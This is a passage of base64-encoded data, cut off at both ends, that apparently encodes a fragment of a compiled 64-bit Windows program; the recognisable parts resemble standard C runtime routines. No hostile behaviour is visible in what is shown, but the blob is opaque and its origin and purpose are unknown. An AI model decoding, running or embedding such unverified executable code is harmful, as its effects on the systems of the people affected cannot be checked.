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AABIA9BIi0QkSEiNDQYNAQBIiwzBM8BMjUwkUEiJRCQgSItEJFhEK8dIiwwI/xV0RQAAhcB0CwN8JFBEO+9/tesI/xU3RAAAi/BEO+8Pj838//9Bi9xBuA0AAABBK95BO98Pgv7+///ps/z//0mLTA0ATI1MJFBFi8dJi9ZIiUQkIP8VH0UAAIXAdAuLXCRQi8bpl/z///8V4kMAAIvwi8PpiPz//0yLbCRYSIt8JEjpefz//4vO6At2///p7Pj//0iLfCRISI0FSgwBAEiLBPhB9kQFCEB0CkGAPhoPhKb4///oL3b//8cAHAAAAOi0df//iRjps/j//yvYi8NIi40wGgAASDPM6IpI//9Ii5wkmBsAAEiBxEAbAABBX0FeQV1BXF9eXcPMzMxIhckPhAABAABTSIPsIEiL2UiLSRhIOw249gAAdAXolYX//0iLSyBIOw2u9gAAdAXog4X//0iLSyhIOw2k9gAAdAXocYX//0iLSzBIOw2a9gAAdAXoX4X//0iLSzhIOw2Q9gAAdAXoTYX//0iLS0BIOw2G9gAAdAXoO4X//0iLS0hIOw189gAAdAXoKYX//0iLS2hIOw2K9gAAdAXoF4X//0iLS3BIOw2A9gAAdAXoBYX//0iLS3hIOw129gAAdAXo84T//0iLi4AAAABIOw1p9gAAdAXo3oT//0iLi4gAAABIOw1c9gAAdAXoyYT//0iLi5AAAABIOw1P9gAAdAXotIT//0iDxCBbw8zMSIXJdGZTSIPsIEiL2UiLCUg7DZn1AAB0BeiOhP//SItLCEg7DY/1AAB0Beh8hP//SItLEEg7DYX1AAB0BehqhP//SItLWEg7Dbv1AAB0BehYhP//SItLYEg7DbH1AAB0BehGhP//SIPEIFvDSIXJD4TwAwAAU0iD7CBIi9lIi0kI6CaE//9Ii0sQ6B2E//9Ii0sY6BSE//9Ii0sg6AuE//9Ii0so6AKE//9Ii0sw6PmD//9Iiwvo8YP//0iLS0Do6IP//0iLS0jo34P//0iLS1Do1oP//0iLS1jozYP//0iLS2DoxIP//0iLS2jou4P//0iLSzjosoP//0iLS3DoqYP//0iLS3jooIP//0iLi4AAAADolIP//0iLi4gAAADoiIP//0iLi5AAAADofIP//0iLi5gAAADocIP//0iLi6AAAADoZIP//0iLi6gAAADoWIP//0iLi7AAAADoTIP//0iLi7gAAADoQIP//0iLi8AAAADoNIP//0iLi8gAAADoKIP//0iLi9AAAADoHIP//0iLi9gAAADoEIP//0iLi+AAAADoBIP//0iLi+gAAADo+IL//0iLi/AAAADo7IL//0iLi/gAAADo4IL//0iLiwABAADo1IL//0iLiwgBAADoyIL//0iLixABAADovIL//0iLixgBAADosIL//0